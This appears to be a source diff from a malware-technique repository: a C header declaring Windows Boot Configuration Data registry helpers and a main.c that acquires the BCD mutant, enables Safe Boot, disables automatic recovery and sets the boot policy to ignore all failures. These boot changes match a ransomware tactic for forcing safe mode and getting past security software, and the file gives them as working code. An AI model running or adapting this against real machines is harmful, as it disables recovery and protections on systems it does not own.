_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdModifyBootConfiguration(
_In_ CONST PHKEY phKey,
_In_ CONST LPWSTR wszKey,
_In_ LPVOID pData,
_In_ ULONG ulData
);
/**
* @brief Acquire an handle to the BCD synchronisation mutant.
* @param phHandle Pointer to an handle.
* @return Whether an handle to the BCD synchronisation mutant has been acquired.
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdAcquireSyncMutant(
_Out_ PHANDLE phHandle
);
/**
* @brief Open an HANDLE to a registry object by name.
* @param wszKeyName The Unicode name of the registry object.
* @param AccessMask The desired access mask.
* @param phDirectory Pointer to a parent object within the object manager namespace.
* @param phKey Pointer to the HANDLE if found and successfully opened.
* @return Whether the HANDLE has been open.
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdOpenKeyByName(
_In_ CONST LPWSTR wszKeyName,
_In_ ACCESS_MASK AccessMask,
_In_ PHANDLE phDirectory,
_Out_ PHKEY phKey
);
/**
* @brief Find a sub key for a given pattern.
* @param phKey Pointer to the key to search from.
* @param wszPattern The pattern to find (e.g., BCD).
* @param dwPatternLength Length of the pattern (e.g., 3).
* @param wszSubKeyName Pointer to the name of the sub-key once found.
* @param pdwSubKeyNameLength Pointer to the length of the sub-key once found.
* @return Whether the sub-key has been found.
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdpGetSubKeyByPattern(
_In_ CONST PHKEY phKey,
_In_ CONST LPWSTR wszPattern,
_In_ CONST DWORD dwPatternLength,
_Out_ LPWSTR * wszSubKeyName,
_Out_ PDWORD pdwSubKeyNameLength
);
/**
* @brief Get the value of a Windows registry key by name.
* @param wszValueName The Unicode name of the value to retrieve.
* @param phKey Pointer to an handle of a Windows Registry key.
* @param dwType Type of data to retreive.
* @param ppData Pointer to a buffer.
* @param pdwData Poitner to the size of the buffer that will be returned.
* @return Whether the value has been successfully retrieved.
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdpQueryValueByName(
_In_ CONST LPWSTR wszValueName,
_In_ PHKEY phKey,
_In_ DWORD dwType,
_Out_ LPVOID * ppData,
_Out_ DWORD * pdwData
);
/**
* @brief Create a new windows registry key.
* @param wszKeyName The Unicode name of the key to create.
* @param DesiredAccess Desired access.
* @param dwType Type of data to retreive.
* @param phDirectory Pointer to a parent object within the object manager namespace.
* @param phKey Pointer to an handle of the newly created key.
* @return Whether the key has been created.
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdpCreateKey(
_In_ CONST LPWSTR wszKeyName,
_In_ ACCESS_MASK DesiredAccess,
_In_ PHANDLE phDirectory,
_Out_ PHANDLE phKey
);
/**
* @brief Set a new value to a windows registry key
* @param wszKeyName The Unicode name of the value to create/modify.
* @param phKey Handle to a windows registry key.
* @param pData Pointer to the data of the value.
* @param ulData Size of the data of the value.
* @return Whether the value has been successfully created or modified.
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdpSetValue(
_In_ CONST LPWSTR wszValue,
_In_ PHANDLE phKey,
_In_ PVOID pData,
_In_ ULONG ulData
);
/**
* @brief Set a new value to a windows registry key
* @param phKey Handle to a windows registry key.
* @param dwPrivileges Desried new privileges.
* @return Whether the new privileges have been assigned
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdpChangeObjectPermission(
_In_ CONST PHANDLE phKey,
_In_ DWORD dwPrivileges
);
#endif // !__BCDUTIL_H_GUARD__

View File

@ -0,0 +1,63 @@
/**
* @file main.c
* @author Paul L. (@am0nsec)
* @version 1.0
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
* @details
* @link https://github.com/am0nsec/vx
* @copyright This project has been released under the GNU Public License v3 license.
*/
#include <Windows.h>
#include "bcdutil.h"
INT main() {
// 1. Acquire BCD synchronisation mutant
HANDLE hMutant = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdAcquireSyncMutant(&hMutant));
// 2. Get handle to the windows default boot object
HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
BcdGetDefaultBootObject(&hWindowsBootMgrDefaultObj);
// 3. Open handle to the Elements of the default boot object
HKEY hWindowsBootMgrDefaultObjElements = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
BCD_ELEMENTS,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hWindowsBootMgrDefaultObj,
&hWindowsBootMgrDefaultObjElements
));
// 4. Enable SafeBoot
BYTE SafeBootData[0x08] = { 0x00 };
BcdModifyBootConfiguration(
&hWindowsBootMgrDefaultObjElements,
BCDE_OSLOADER_TYPE_SAFEBOOT,
SafeBootData,
0x08
);
// 5. Disable recovery mode
BYTE RecoveryEnabled[0x01] = { 0x00 };
BcdModifyBootConfiguration(
&hWindowsBootMgrDefaultObjElements,
BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED,
RecoveryEnabled,
0x01
);
// 5. Update boot policy
BYTE BootpolicyData[0x08] = { 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
BcdModifyBootConfiguration(
&hWindowsBootMgrDefaultObjElements,
BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY,
BootpolicyData,
0x08
);
// Cleanup and exit
NtClose(hMutant);
NtClose(hWindowsBootMgrDefaultObj);
NtClose(hWindowsBootMgrDefaultObjElements);
return EXIT_SUCCESS;
}